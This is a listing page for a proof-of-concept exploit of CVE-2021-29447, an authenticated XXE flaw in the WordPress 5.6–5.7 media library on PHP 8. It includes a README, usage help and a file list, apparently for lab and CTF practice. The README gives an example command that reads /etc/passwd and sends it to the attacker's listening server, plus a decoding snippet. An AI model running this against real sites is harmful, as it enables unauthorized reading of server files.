CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source

Associated Vulnerability

Description

A proof of concept exploit for a wordpress 5.6 media library vulnerability

Readme

[cve-2021-29447]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447

# CVE-2021-29447 Proof-of-Concept

```
╔═╗╦  ╦╔═╗
║  ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023

═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
```

[CVE-2021-29447]: A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release.

This script is easy to understand & run and it will automate the steps required to exploit the XXE attack
on the wordpress media library.

## Usage

```
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]

options:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST  your server ip address e.g. 10.0.2.15
  -p PORT, --port PORT  your server port e.g. 1337
  -f FILE, --file FILE  system file to read e.g. /etc/passwd
```

Example:

```
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
```

To decode the base64 use/run the following php snippet:

```php
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
```

```shell
$ php decode.php
```

---

- References:
  - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
  - https://tryhackme.com/room/wordpresscve202129447

File Snapshot

 [4.0K]  /data/pocs/a8ee33fda630b6096c08d55e0491081933578b85
├── [  59]  decode.php
├── [2.8K]  PoC.py
└── [2.2K]  README.md

0 directories, 3 files

Remarks